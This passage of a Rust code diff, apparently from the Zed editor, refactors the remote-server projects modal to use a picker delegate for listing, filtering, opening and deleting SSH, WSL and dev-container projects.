+                        this.mode = Mode::AddWslDistro(AddWslDistro::new(window, cx));
+                        cx.notify();
+                    })
+                    .ok();
+            }
+            RemoteMatch::Project {
+                server, project, ..
+            } => {
+                let Some(RemoteEntry::Project {
+                    connection,
+                    index,
+                    projects,
+                    ..
+                }) = self.state.servers.get(*server)
+                else {
+                    return;
+                };
+                let Some(project_entry) = projects.get(*project) else {
+                    return;
+                };
+                let connection = connection.clone();
+                let index = *index;
+                let project = project_entry.project.clone();
+                remote_server_projects
+                    .update(cx, |this, cx| {
+                        this.open_remote_project_entry(
+                            index, project, connection, secondary, window, cx,
+                        );
+                    })
+                    .ok();
+            }
+            RemoteMatch::OpenFolder { server } => {
+                let Some(server_entry) = self.state.servers.get(*server) else {
+                    return;
+                };
+                match server_entry {
+                    RemoteEntry::Project {
+                        connection, index, ..
+                    } => {
+                        let connection = connection.clone();
+                        let index = *index;
+                        remote_server_projects
+                            .update(cx, |this, cx| {
+                                this.create_remote_project(index, connection.into(), window, cx);
+                            })
+                            .ok();
+                    }
+                    RemoteEntry::SshConfig { host, .. } => {
+                        let host = host.clone();
+                        let connection = server_entry.connection().into_owned();
+                        remote_server_projects
+                            .update(cx, |this, cx| {
+                                let new_ix = this.create_host_from_ssh_config(&host, cx);
+                                this.create_remote_project(
+                                    new_ix.into(),
+                                    connection.into(),
+                                    window,
+                                    cx,
+                                );
+                            })
+                            .ok();
+                    }
+                }
+            }
+            RemoteMatch::ViewServerOptions { server } => {
+                let Some(RemoteEntry::Project {
+                    connection, index, ..
+                }) = self.state.servers.get(*server)
+                else {
+                    return;
+                };
+                let connection = connection.clone();
+                let index = *index;
+                remote_server_projects
+                    .update(cx, |this, cx| {
+                        this.view_server_options((index, connection.into()), window, cx);
+                    })
+                    .ok();
+            }
+        }
+    }
+
+    fn dismissed(&mut self, _window: &mut Window, _cx: &mut Context<Picker<Self>>) {}
+
+    fn render_match(
+        &self,
+        ix: usize,
+        selected: bool,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<Self::ListItem> {
+        let entry = self.matches.get(ix)?;
+        match entry {
+            RemoteMatch::Separator => Some(div().child(ListSeparator).into_any_element()),
+            RemoteMatch::ServerHeader {
+                server,
+                host_positions,
+            } => self.render_server_header(*server, host_positions),
+            RemoteMatch::AddServer => {
+                Some(self.render_action_item(ix, IconName::Plus, "Connect SSH Server", selected))
+            }
+            RemoteMatch::AddDevContainer => {
+                Some(self.render_action_item(ix, IconName::Plus, "Connect Dev Container", selected))
+            }
+            RemoteMatch::AddWsl => {
+                Some(self.render_action_item(ix, IconName::Plus, "Add WSL Distro", selected))
+            }
+            RemoteMatch::OpenFolder { .. } => {
+                Some(self.render_action_item(ix, IconName::Plus, "Open Folder", selected))
+            }
+            RemoteMatch::ViewServerOptions { .. } => Some(self.render_action_item(
+                ix,
+                IconName::Settings,
+                "View Server Options",
+                selected,
+            )),
+            RemoteMatch::Project {
+                server,
+                project,
+                positions,
+            } => {
+                let server_entry = self.state.servers.get(*server)?;
+                let RemoteEntry::Project {
+                    projects, index, ..
+                } = server_entry
+                else {
+                    return None;
+                };
+                let project_entry = projects.get(*project)?;
+                let server_ix = *index;
+                let remote_project = project_entry.project.clone();
+                let paths = remote_project.paths.clone();
+                let remote_server_projects = self.remote_server_projects.clone();
+
+                Some(
+                    ListItem::new(("remote-project", ix))
+                        .toggle_state(selected)
+                        .inset(true)
+                        .spacing(ui::ListItemSpacing::Sparse)
+                        .start_slot(
+                            Icon::new(IconName::Folder)
+                                .color(Color::Muted)
+                                .size(IconSize::Small),
+                        )
+                        .child(
+                            HighlightedLabel::new(paths.join(", "), positions.clone())
+                                .truncate_start(),
+                        )
+                        .tooltip(Tooltip::text(paths.join("\n")))
+                        .end_slot(
+                            div().mr_2().child(
+                                IconButton::new("remove-remote-project", IconName::Trash)
+                                    .icon_size(IconSize::Small)
+                                    .shape(IconButtonShape::Square)
+                                    .size(ButtonSize::Large)
+                                    .tooltip(Tooltip::text("Delete Remote Project"))
+                                    .on_click(cx.listener(move |_, _, _, cx| {
+                                        let remote_project = remote_project.clone();
+                                        remote_server_projects
+                                            .update(cx, |this, cx| {
+                                                this.delete_remote_project(
+                                                    server_ix,
+                                                    &remote_project,
+                                                    cx,
+                                                );
+                                            })
+                                            .ok();
+                                    })),
+                            ),
+                        )
+                        .show_end_slot_on_hover()
+                        .into_any_element(),
+                )
+            }
+        }
+    }
+
+    fn render_footer(
+        &self,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<AnyElement> {
+        let is_project_selected = matches!(
+            self.matches.get(self.selected_index),
+            Some(RemoteMatch::Project { .. })
+        );
+
+        let confirm_button = |label: SharedString| {
+            Button::new("select", label)
+                .key_binding(KeyBinding::for_action(&menu::Confirm, cx))
+                .on_click(|_, window, cx| window.dispatch_action(menu::Confirm.boxed_clone(), cx))
+        };
+
+        let buttons = if is_project_selected {
+            h_flex()
+                .gap_1()
+                .child(
+                    Button::new("open_new_window", "New Window")
+                        .key_binding(KeyBinding::for_action(&menu::SecondaryConfirm, cx))
+                        .on_click(|_, window, cx| {
+                            window.dispatch_action(menu::SecondaryConfirm.boxed_clone(), cx)
+                        }),
+                )
+                .child(confirm_button("Open".into()))
+                .into_any_element()
+        } else {
+            confirm_button("Select".into()).into_any_element()
+        };
+
+        Some(
+            h_flex()
+                .w_full()
+                .p_1p5()
+                .justify_end()
+                .border_t_1()
+                .border_color(cx.theme().colors().border_variant)
+                .child(buttons)
+                .into_any(),
+        )
     }
 }
 
@@ -1016,10 +1494,22 @@ impl RemoteServerProjects {
         cx: &mut Context<Self>,
     ) -> Self {
         let focus_handle = cx.focus_handle();
-        let filter_editor = cx.new(|cx| {
-            let mut editor = Editor::single_line(window, cx);
-            editor.set_placeholder_text("Filter remote projects...", window, cx);
-            editor
+        let remote_server_projects = cx.weak_entity();
+        // The modal is constructed inside a `workspace.update`, so the workspace
+        // entity can't be read here; start with conservative defaults and refresh
+        // the real flags via `defer_in` once construction completes.
+        let default_picker = cx.new(|cx| {
+            let delegate = RemoteServerPickerDelegate::new(
+                remote_server_projects,
+                &BTreeSet::new(),
+                false,
+                true,
+                cx,
+            );
+            Picker::list(delegate, window, cx)
+                .modal(false)
+                .initial_width(rems(34.))
+                .height(rems(24.))
         });
         let mut read_ssh_config = RemoteSettings::get_global(cx).read_ssh_config;
         let ssh_config_updates = if read_ssh_config {
@@ -1028,14 +1518,8 @@ impl RemoteServerProjects {
             Task::ready(())
         };
 
-        let mut base_style = window.text_style();
-        base_style.refine(&gpui::TextStyleRefinement {
-            color: Some(cx.theme().colors().editor_foreground),
-            ..Default::default()
-        });
-
         let settings_subscription =
-            cx.observe_global_in::<SettingsStore>(window, move |recent_projects, _, cx| {
+            cx.observe_global_in::<SettingsStore>(window, move |recent_projects, window, cx| {
                 let new_read_ssh_config = RemoteSettings::get_global(cx).read_ssh_config;
                 if read_ssh_config != new_read_ssh_config {
                     read_ssh_config = new_read_ssh_config;
@@ -1046,28 +1530,28 @@ impl RemoteServerProjects {
                         recent_projects.ssh_config_updates = Task::ready(());
                     }
                 }
+                recent_projects.refresh_default_picker(window, cx);
             });
 
-        let filter_subscription =
-            cx.subscribe(&filter_editor, |this, _, event: &EditorEvent, cx| {
-                if matches!(event, EditorEvent::BufferEdited) {
-                    this.recompute_filter(cx);
-                }
-            });
+        let dismiss_subscription = cx.subscribe(&default_picker, |_, _, _, cx| {
+            cx.emit(DismissEvent);
+        });
+
+        cx.defer_in(window, |this, window, cx| {
+            this.refresh_default_picker(window, cx);
+        });
 
         Self {
             mode,
             focus_handle,
-            filter_editor,
+            default_picker,
             workspace,
             retained_connections: Vec::new(),
             ssh_config_updates,
             ssh_config_servers: BTreeSet::new(),
             create_new_window,
             dev_container_picker: None,
-            _subscriptions: vec![settings_subscription, filter_subscription],
-            filter_cancel: Arc::new(AtomicBool::new(false)),
-            _filter_task: Task::ready(()),
+            _subscriptions: vec![settings_subscription, dismiss_subscription],
             allow_dismissal: true,
         }
     }
@@ -1404,7 +1888,7 @@ impl RemoteServerProjects {
 
     fn confirm(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
         match &self.mode {
-            Mode::Default(_) | Mode::ViewServerOptions(_) => {}
+            Mode::Default | Mode::ViewServerOptions(_) => {}
             Mode::ProjectPicker(_) => {}
             Mode::CreateRemoteServer(state) => {
                 if let Some(prompt) = state.ssh_prompt.as_ref() {
@@ -1434,431 +1918,126 @@ impl RemoteServerProjects {
             Mode::AddWslDistro(state) => {
                 let delegate = &state.picker.read(cx).delegate;
                 let distro = delegate.selected_distro().unwrap();
-                self.connect_wsl_distro(state.picker.clone(), distro, window, cx);
-            }
-        }
-    }
-
-    fn cancel(&mut self, _: &menu::Cancel, window: &mut Window, cx: &mut Context<Self>) {
-        match &self.mode {
-            Mode::Default(_) => {
-                if !self.filter_editor.read(cx).text(cx).is_empty() {
-                    self.filter_editor.update(cx, |editor, cx| {
-                        editor.set_text("", window, cx);
-                    });
-                    cx.notify();
-                } else {
-                    cx.emit(DismissEvent);
-                }
-            }
-            Mode::CreateRemoteServer(state) if state.ssh_prompt.is_some() => {
-                let new_state = CreateRemoteServer::new(window, cx);
-                let old_prompt = state.address_editor.read(cx).text(cx);
-                new_state.address_editor.update(cx, |this, cx| {
-                    this.set_text(old_prompt, window, cx);
-                });
-
-                self.mode = Mode::CreateRemoteServer(new_state);
-                cx.notify();
-            }
-            Mode::CreateRemoteDevContainer(CreateRemoteDevContainer {
-                progress: DevContainerCreationProgress::Error(_),
-                ..
-            }) => {
-                cx.emit(DismissEvent);
-            }
-            _ => {
-                self.allow_dismissal = true;
-                self.mode = Mode::default_mode(&self.ssh_config_servers, cx);
-                self.focus_handle(cx).focus(window, cx);
-                cx.notify();
-            }
-        }
-    }
-
-    fn recompute_filter(&mut self, cx: &mut Context<Self>) {
-        let Mode::Default(state) = &mut self.mode else {
-            return;
-        };
-        let query = self.filter_editor.read(cx).text(cx);
-        let query = query.trim().to_string();
-
-        // Signal cancellation to the previously-spawned task: it still holds
-        // its own `Arc` clone of the old `filter_cancel`, so this store is
-        // visible to it. We then install a fresh `AtomicBool` below for the
-        // next task to observe independently.
-        self.filter_cancel.store(true, atomic::Ordering::Release);
-
-        if query.is_empty() {
-            state.filtered_servers = None;
-            self._filter_task = Task::ready(());
-            cx.notify();
-            return;
-        }
-
-        let filter_data = Arc::clone(&state.filter_data);
-        let cancel = Arc::new(AtomicBool::new(false));
-        self.filter_cancel = cancel.clone();
-        let executor = cx.background_executor().clone();
-
-        self._filter_task = cx.spawn(async move |this, cx| {
-            let Some(results) = filter::run_async(&filter_data, &query, &cancel, executor).await
-            else {
-                return;
-            };
-            this.update(cx, |this, cx| {
-                if let Mode::Default(state) = &mut this.mode {
-                    state.filtered_servers = Some(results);
-                    cx.notify();
-                }
-            })
-            .ok();
-        });
-    }
-
-    fn render_remote_connection(
-        &mut self,
-        ix: usize,
-        visible: &VisibleEntry<'_>,
-        show_top_separator: bool,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement {
-        let remote_server = visible.server;
-        let connection = remote_server.connection().into_owned();
-        let shared_connection = Rc::new(connection.clone());
-        let host_positions = visible.host_positions.to_vec();
-
-        let (main_label, aux_label, is_wsl) = match &connection {
-            Connection::Ssh(connection) => {
-                if let Some(nickname) = connection.nickname.clone() {
-                    let aux_label = SharedString::from(format!("({})", connection.host));
-                    (nickname, Some(aux_label), false)
-                } else {
-                    (connection.host.clone(), None, false)
-                }
-            }
-            Connection::Wsl(wsl_connection_options) => {
-                (wsl_connection_options.distro_name.clone(), None, true)
-            }
-            Connection::DevContainer(dev_container_options) => {
-                (dev_container_options.name.clone(), None, false)
-            }
-        };
-        v_flex()
-            .w_full()
-            .when(show_top_separator, |this| this.child(ListSeparator))
-            .child(
-                h_flex()
-                    .group("ssh-server")
-                    .w_full()
-                    .pt_0p5()
-                    .px_3()
-                    .gap_1()
-                    .overflow_hidden()
-                    .child(
-                        h_flex()
-                            .gap_1()
-                            .max_w_96()
-                            .overflow_hidden()
-                            .text_ellipsis()
-                            .when(is_wsl, |this| {
-                                this.child(
-                                    Label::new("WSL:")
-                                        .size(LabelSize::Small)
-                                        .color(Color::Muted),
-                                )
-                            })
-                            .child(
-                                HighlightedLabel::new(main_label, host_positions)
-                                    .size(LabelSize::Small)
-                                    .color(Color::Muted),
-                            ),
-                    )
-                    .children(
-                        aux_label.map(|label| {
-                            Label::new(label).size(LabelSize::Small).color(Color::Muted)
-                        }),
-                    ),
-            )
-            .child(match remote_server {
-                RemoteEntry::Project {
-                    open_folder,
-                    configure,
-                    connection,
-                    index,
-                    ..
-                } => {
-                    let index = *index;
-                    List::new()
-                        .empty_message("No projects.")
-                        .children(visible.visible_projects.iter().enumerate().map(|(pix, p)| {
-                            v_flex().gap_0p5().child(self.render_remote_project(
-                                index,
-                                remote_server,
-                                shared_connection.clone(),
-                                pix,
-                                p,
-                                window,
-                                cx,
-                            ))
-                        }))
-                        .child(
-                            h_flex()
-                                .id(("new-remote-project-container", ix))
-                                .track_focus(&open_folder.focus_handle)
-                                .anchor_scroll(open_folder.scroll_anchor.clone())
-                                .on_action(cx.listener({
-                                    let connection = connection.clone();
-                                    move |this, _: &menu::Confirm, window, cx| {
-                                        this.create_remote_project(
-                                            index,
-                                            connection.clone().into(),
-                                            window,
-                                            cx,
-                                        );
-                                    }
-                                }))
-                                .child(
-                                    ListItem::new(("new-remote-project", ix))
-                                        .toggle_state(
-                                            open_folder.focus_handle.contains_focused(window, cx),
-                                        )
-                                        .inset(true)
-                                        .spacing(ui::ListItemSpacing::Sparse)
-                                        .start_slot(Icon::new(IconName::Plus).color(Color::Muted))
-                                        .child(Label::new("Open Folder"))
-                                        .on_click(cx.listener({
-                                            let connection = connection.clone();
-                                            move |this, _, window, cx| {
-                                                cx.emit(DismissEvent);
-                                                this.create_remote_project(
-                                                    index,
-                                                    connection.clone().into(),
-                                                    window,
-                                                    cx,
-                                                );
-                                            }
-                                        })),
-                                ),
-                        )
-                        .child(
-                            h_flex()
-                                .id(("server-options-container", ix))
-                                .track_focus(&configure.focus_handle)
-                                .anchor_scroll(configure.scroll_anchor.clone())
-                                .on_action(cx.listener({
-                                    let connection = connection.clone();
-                                    move |this, _: &menu::Confirm, window, cx| {
-                                        this.view_server_options(
-                                            (index, connection.clone().into()),
-                                            window,
-                                            cx,
-                                        );
-                                    }
-                                }))
-                                .child(
-                                    ListItem::new(("server-options", ix))
-                                        .toggle_state(
-                                            configure.focus_handle.contains_focused(window, cx),
-                                        )
-                                        .inset(true)
-                                        .spacing(ui::ListItemSpacing::Sparse)
-                                        .start_slot(
-                                            Icon::new(IconName::Settings).color(Color::Muted),
-                                        )
-                                        .child(Label::new("View Server Options"))
-                                        .on_click(cx.listener({
-                                            let ssh_connection = connection.clone();
-                                            move |this, _, window, cx| {
-                                                this.view_server_options(
-                                                    (index, ssh_connection.clone().into()),
-                                                    window,
-                                                    cx,
-                                                );
-                                            }
-                                        })),
-                                ),
-                        )
-                }
-                RemoteEntry::SshConfig {
-                    open_folder, host, ..
-                } => List::new().child(
-                    h_flex()
-                        .id(("new-remote-project-container", ix))
-                        .track_focus(&open_folder.focus_handle)
-                        .anchor_scroll(open_folder.scroll_anchor.clone())
-                        .on_action(cx.listener({
-                            let connection = connection.clone();
-                            let host = host.clone();
-                            move |this, _: &menu::Confirm, window, cx| {
-                                let new_ix = this.create_host_from_ssh_config(&host, cx);
-                                this.create_remote_project(
-                                    new_ix.into(),
-                                    connection.clone().into(),
-                                    window,
-                                    cx,
-                                );
-                            }
-                        }))
-                        .child(
-                            ListItem::new(("new-remote-project", ix))
-                                .toggle_state(open_folder.focus_handle.contains_focused(window, cx))
-                                .inset(true)
-                                .spacing(ui::ListItemSpacing::Sparse)
-                                .start_slot(Icon::new(IconName::Plus).color(Color::Muted))
-                                .child(Label::new("Open Folder"))
-                                .on_click(cx.listener({
-                                    let host = host.clone();
-                                    move |this, _, window, cx| {
-                                        let new_ix = this.create_host_from_ssh_config(&host, cx);
-                                        this.create_remote_project(
-                                            new_ix.into(),
-                                            connection.clone().into(),
-                                            window,
-                                            cx,
-                                        );
-                                    }
-                                })),
-                        ),
-                ),
+                self.connect_wsl_distro(state.picker.clone(), distro, window, cx);
+            }
+        }
+    }
+
+    fn cancel(&mut self, _: &menu::Cancel, window: &mut Window, cx: &mut Context<Self>) {
+        match &self.mode {
+            Mode::Default => {
+                cx.emit(DismissEvent);
+            }
+            Mode::CreateRemoteServer(state) if state.ssh_prompt.is_some() => {
+                let new_state = CreateRemoteServer::new(window, cx);
+                let old_prompt = state.address_editor.read(cx).text(cx);
+                new_state.address_editor.update(cx, |this, cx| {
+                    this.set_text(old_prompt, window, cx);
+                });
+
+                self.mode = Mode::CreateRemoteServer(new_state);
+                cx.notify();
+            }
+            Mode::CreateRemoteDevContainer(CreateRemoteDevContainer {
+                progress: DevContainerCreationProgress::Error(_),
+                ..
+            }) => {
+                cx.emit(DismissEvent);
+            }
+            _ => {
+                self.allow_dismissal = true;
+                self.mode = Mode::default_mode(&self.ssh_config_servers, cx);
+                self.focus_handle(cx).focus(window, cx);
+                cx.notify();
+            }
+        }
+    }
+
+    /// Rebuilds the default picker's data from the latest settings/ssh-config
+    /// and re-applies the current filter query.
+    fn workspace_flags(workspace: &WeakEntity<Workspace>, cx: &App) -> (bool, bool) {
+        let has_open_project = workspace
+            .upgrade()
+            .map(|workspace| {
+                workspace
+                    .read(cx)
+                    .project()
+                    .read(cx)
+                    .visible_worktrees(cx)
+                    .next()
+                    .is_some()
             })
+            .unwrap_or(false);
+        let is_local = workspace
+            .upgrade()
+            .map(|workspace| workspace.read(cx).project().read(cx).is_local())
+            .unwrap_or(true);
+        (has_open_project, is_local)
+    }
+
+    fn refresh_default_picker(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        let ssh_config_servers = self.ssh_config_servers.clone();
+        let (has_open_project, is_local) = Self::workspace_flags(&self.workspace, cx);
+        self.default_picker.update(cx, |picker, cx| {
+            picker
+                .delegate
+                .reload(&ssh_config_servers, has_open_project, is_local, cx);
+            picker.refresh(window, cx);
+        });
     }
 
-    fn render_remote_project(
+    /// Opens a saved remote project, mirroring whether a new window should be
+    /// created based on the modal's `create_new_window` preference and whether
+    /// the confirm was a secondary (platform-modifier) confirm.
+    fn open_remote_project_entry(
         &mut self,
-        server_ix: ServerIndex,
-        server: &RemoteEntry,
-        connection: Rc<Connection>,
-        ix: usize,
-        visible: &VisibleProject<'_>,
+        _index: ServerIndex,
+        project: RemoteProject,
+        connection: Connection,
+        secondary_confirm: bool,
         window: &mut Window,
         cx: &mut Context<Self>,
-    ) -> impl IntoElement {
-        let entry = visible.entry;
+    ) {
+        let Some(app_state) = self
+            .workspace
+            .read_with(cx, |workspace, _| workspace.app_state().clone())
+            .log_err()
+        else {
+            return;
+        };
         let create_new_window = self.create_new_window;
-        let is_from_zed = server.is_from_zed();
-        let element_id_base = SharedString::from(format!(
-            "remote-project-{}",
-            match server_ix {
-                ServerIndex::Ssh(index) => format!("ssh-{index}"),
-                ServerIndex::Wsl(index) => format!("wsl-{index}"),
-            }
-        ));
-        let container_element_id_base =
-            SharedString::from(format!("remote-project-container-{element_id_base}"));
-
-        let callback = Rc::new({
-            let project = entry.project.clone();
-            move |remote_server_projects: &mut Self,
-                  secondary_confirm: bool,
-                  window: &mut Window,
-                  cx: &mut Context<Self>| {
-                let Some(app_state) = remote_server_projects
-                    .workspace
-                    .read_with(cx, |workspace, _| workspace.app_state().clone())
-                    .log_err()
-                else {
-                    return;
-                };
-                let project = project.clone();
-                let server = connection.as_ref().clone();
-                cx.emit(DismissEvent);
-
-                let replace_window = match (create_new_window, secondary_confirm) {
-                    (true, false) | (false, true) => None,
-                    (true, true) | (false, false) => {
-                        window.window_handle().downcast::<MultiWorkspace>()
-                    }
-                };
+        cx.emit(DismissEvent);
 
-                cx.spawn_in(window, async move |_, cx| {
-                    let result = open_remote_project(
-                        server.into(),
-                        project.paths.into_iter().map(PathBuf::from).collect(),
-                        app_state,
-                        OpenOptions {
-                            requesting_window: replace_window,
-                            ..OpenOptions::default()
-                        },
-                        cx,
-                    )
-                    .await;
-                    if let Err(e) = result {
-                        log::error!("Failed to connect: {e:#}");
-                        cx.prompt(
-                            gpui::PromptLevel::Critical,
-                            "Failed to connect",
-                            Some(&e.to_string()),
-                            &["OK"],
-                        )
-                        .await
-                        .ok();
-                    }
-                })
-                .detach();
-            }
-        });
+        let replace_window = match (create_new_window, secondary_confirm) {
+            (true, false) | (false, true) => None,
+            (true, true) | (false, false) => window.window_handle().downcast::<MultiWorkspace>(),
+        };
 
-        div()
-            .id((container_element_id_base, ix))
-            .track_focus(&entry.navigation.focus_handle)
-            .anchor_scroll(entry.navigation.scroll_anchor.clone())
-            .on_action(cx.listener({
-                let callback = callback.clone();
-                move |this, _: &menu::Confirm, window, cx| {
-                    callback(this, false, window, cx);
-                }
-            }))
-            .on_action(cx.listener({
-                let callback = callback.clone();
-                move |this, _: &menu::SecondaryConfirm, window, cx| {
-                    callback(this, true, window, cx);
-                }
-            }))
-            .child(
-                ListItem::new((element_id_base, ix))
-                    .toggle_state(entry.navigation.focus_handle.contains_focused(window, cx))
-                    .inset(true)
-                    .spacing(ui::ListItemSpacing::Sparse)
-                    .start_slot(
-                        Icon::new(IconName::Folder)
-                            .color(Color::Muted)
-                            .size(IconSize::Small),
-                    )
-                    .child(
-                        HighlightedLabel::new(
-                            entry.project.paths.join(", "),
-                            visible.highlight_positions.to_vec(),
-                        )
-                        .truncate_start(),
-                    )
-                    .on_click(cx.listener(move |this, e: &ClickEvent, window, cx| {
-                        let secondary_confirm = e.modifiers().platform;
-                        callback(this, secondary_confirm, window, cx)
-                    }))
-                    .tooltip(Tooltip::text(entry.project.paths.join("\n")))
-                    .when(is_from_zed, |server_list_item| {
-                        server_list_item
-                            .end_slot(
-                                div()
-                                    .mr_2()
-                                    .child({
-                                        let project = entry.project.clone();
-                                        IconButton::new("remove-remote-project", IconName::Trash)
-                                            .icon_size(IconSize::Small)
-                                            .shape(IconButtonShape::Square)
-                                            .size(ButtonSize::Large)
-                                            .tooltip(Tooltip::text("Delete Remote Project"))
-                                            .on_click(cx.listener(move |this, _, _, cx| {
-                                                this.delete_remote_project(server_ix, &project, cx)
-                                            }))
-                                    })
-                                    .into_any_element(),
-                            )
-                            .show_end_slot_on_hover()
-                    }),
+        cx.spawn_in(window, async move |_, cx| {
+            let result = open_remote_project(
+                connection.into(),
+                project.paths.into_iter().map(PathBuf::from).collect(),
+                app_state,
+                OpenOptions {
+                    requesting_window: replace_window,
+                    ..OpenOptions::default()
+                },
+                cx,
             )
+            .await;
+            if let Err(e) = result {
+                log::error!("Failed to connect: {e:#}");
+                cx.prompt(
+                    gpui::PromptLevel::Critical,
+                    "Failed to connect",
+                    Some(&e.to_string()),
+                    &["OK"],
+                )
+                .await
+                .ok();
+            }
+        })
+        .detach();
     }
 
     fn update_settings_file(
@@ -2194,7 +2373,11 @@ impl RemoteServerProjects {
                                         )
                                         .inset(true)
                                         .spacing(ui::ListItemSpacing::Sparse)
-                                        .start_slot(Icon::new(IconName::File).color(Color::Muted))
+                                        .start_slot(
+                                            Icon::new(IconName::File)
+                                                .color(Color::Muted)
+                                                .size(IconSize::Small),
+                                        )
                                         .child(Label::new("Open Zed Log"))
                                         .on_click(cx.listener(|_, _, window, cx| {
                                             window.dispatch_action(Box::new(OpenLog), cx);
@@ -2221,7 +2404,11 @@ impl RemoteServerProjects {
                                         )
                                         .inset(true)
                                         .spacing(ui::ListItemSpacing::Sparse)
-                                        .start_slot(Icon::new(IconName::Exit).color(Color::Muted))
+                                        .start_slot(
+                                            Icon::new(IconName::Exit)
+                                                .color(Color::Muted)
+                                                .size(IconSize::Small),
+                                        )
                                         .child(Label::new("Exit"))
                                         .on_click(cx.listener(|this, _, window, cx| {
                                             this.cancel(&menu::Cancel, window, cx);
@@ -2768,337 +2955,13 @@ impl RemoteServerProjects {
 
     fn render_default(
         &mut self,
-        mut state: DefaultState,
-        window: &mut Window,
-        cx: &mut Context<Self>,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
     ) -> impl IntoElement {
-        let ssh_settings = RemoteSettings::get_global(cx);
-        let query = self.filter_editor.read(cx).text(cx);
-        let query = query.trim();
-        let mut should_rebuild = false;
-
-        let ssh_connections_changed = ssh_settings.ssh_connections.0.iter().ne(state
-            .servers
-            .iter()
-            .filter_map(|server| match server {
-                RemoteEntry::Project {
-                    connection: Connection::Ssh(connection),
-                    ..
-                } => Some(connection),
-                _ => None,
-            }));
-
-        let wsl_connections_changed = ssh_settings.wsl_connections.0.iter().ne(state
-            .servers
-            .iter()
-            .filter_map(|server| match server {
-                RemoteEntry::Project {
-                    connection: Connection::Wsl(connection),
-                    ..
-                } => Some(connection),
-                _ => None,
-            }));
-
-        if ssh_connections_changed || wsl_connections_changed {
-            should_rebuild = true;
-        };
-
-        if !should_rebuild && ssh_settings.read_ssh_config {
-            let current_ssh_hosts: BTreeSet<SharedString> = state
-                .servers
-                .iter()
-                .filter_map(|server| match server {
-                    RemoteEntry::SshConfig { host, .. } => Some(host.clone()),
-                    _ => None,
-                })
-                .collect();
-            let mut expected_ssh_hosts = self.ssh_config_servers.clone();
-            for server in &state.servers {
-                if let RemoteEntry::Project {
-                    connection: Connection::Ssh(connection),
-                    ..
-                } = server
-                {
-                    expected_ssh_hosts.remove(connection.host.as_str());
-                }
-            }
-            should_rebuild = current_ssh_hosts != expected_ssh_hosts;
-        }
-
-        if should_rebuild {
-            // Rebuilding `DefaultState` invalidates the cached `FilterData`
-            // the in-flight async filter is borrowing, so cancel it and run
-            // synchronously here. This only fires on settings/ssh_config
-            // changes (rare), so the cost of doing the match under render
-            // is acceptable.
-            self.filter_cancel.store(true, atomic::Ordering::Release);
-            self._filter_task = Task::ready(());
-            self.mode = Mode::default_mode(&self.ssh_config_servers, cx);
-            if let Mode::Default(new_state) = &mut self.mode {
-                new_state.filter_sync(query);
-                state = new_state.clone();
-            }
-        }
-
-        let visible_servers = state.visible_servers();
-
-        let connect_button = div()
-            .id("ssh-connect-new-server-container")
-            .track_focus(&state.add_new_server.focus_handle)
-            .anchor_scroll(state.add_new_server.scroll_anchor.clone())
-            .child(
-                ListItem::new("register-remote-server-button")
-                    .toggle_state(
-                        state
-                            .add_new_server
-                            .focus_handle
-                            .contains_focused(window, cx),
-                    )
-                    .inset(true)
-                    .spacing(ui::ListItemSpacing::Sparse)
-                    .start_slot(Icon::new(IconName::Plus).color(Color::Muted))
-                    .child(Label::new("Connect SSH Server"))
-                    .on_click(cx.listener(|this, _, window, cx| {
-                        let state = CreateRemoteServer::new(window, cx);
-                        this.mode = Mode::CreateRemoteServer(state);
-
-                        cx.notify();
-                    })),
-            )
-            .on_action(cx.listener(|this, _: &menu::Confirm, window, cx| {
-                let state = CreateRemoteServer::new(window, cx);
-                this.mode = Mode::CreateRemoteServer(state);
-
-                cx.notify();
-            }));
-
-        let connect_dev_container_button = div()
-            .id("connect-new-dev-container")
-            .track_focus(&state.add_new_devcontainer.focus_handle)
-            .anchor_scroll(state.add_new_devcontainer.scroll_anchor.clone())
-            .child(
-                ListItem::new("register-dev-container-button")
-                    .toggle_state(
-                        state
-                            .add_new_devcontainer
-                            .focus_handle
-                            .contains_focused(window, cx),
-                    )
-                    .inset(true)
-                    .spacing(ui::ListItemSpacing::Sparse)
-                    .start_slot(Icon::new(IconName::Plus).color(Color::Muted))
-                    .child(Label::new("Connect Dev Container"))
-                    .on_click(cx.listener(|this, _, window, cx| {
-                        this.init_dev_container_mode(window, cx);
-                    })),
-            )
-            .on_action(cx.listener(|this, _: &menu::Confirm, window, cx| {
-                this.init_dev_container_mode(window, cx);
-            }));
-
-        #[cfg(target_os = "windows")]
-        let wsl_connect_button = div()
-            .id("wsl-connect-new-server")
-            .track_focus(&state.add_new_wsl.focus_handle)
-            .anchor_scroll(state.add_new_wsl.scroll_anchor.clone())
-            .child(
-                ListItem::new("wsl-add-new-server")
-                    .toggle_state(state.add_new_wsl.focus_handle.contains_focused(window, cx))
-                    .inset(true)
-                    .spacing(ui::ListItemSpacing::Sparse)
-                    .start_slot(Icon::new(IconName::Plus).color(Color::Muted))
-                    .child(Label::new("Add WSL Distro"))
-                    .on_click(cx.listener(|this, _, window, cx| {
-                        let state = AddWslDistro::new(window, cx);
-                        this.mode = Mode::AddWslDistro(state);
-
-                        cx.notify();
-                    })),
-            )
-            .on_action(cx.listener(|this, _: &menu::Confirm, window, cx| {
-                let state = AddWslDistro::new(window, cx);
-                this.mode = Mode::AddWslDistro(state);
-
-                cx.notify();
-            }));
-
-        let has_open_project = self
-            .workspace
-            .upgrade()
-            .map(|workspace| {
-                workspace
-                    .read(cx)
-                    .project()
-                    .read(cx)
-                    .visible_worktrees(cx)
-                    .next()
-                    .is_some()
-            })
-            .unwrap_or(false);
-
-        // We cannot currently connect a dev container from within a remote server due to the remote_server architecture
-        let is_local = self
-            .workspace
-            .upgrade()
-            .map(|workspace| workspace.read(cx).project().read(cx).is_local())
-            .unwrap_or(true);
-
-        let modal_section = v_flex()
-            .track_focus(&self.focus_handle)
-            .id("ssh-server-list")
-            .overflow_y_scroll()
-            .track_scroll(&state.scroll_handle)
+        v_flex()
+            .min_h(rems(20.))
             .size_full()
-            .when(query.is_empty(), |this| {
-                this.child(connect_button)
-                    .when(has_open_project && is_local, |this| {
-                        this.child(connect_dev_container_button)
-                    })
-            });
-
-        #[cfg(target_os = "windows")]
-        let modal_section = modal_section.child(wsl_connect_button);
-        #[cfg(not(target_os = "windows"))]
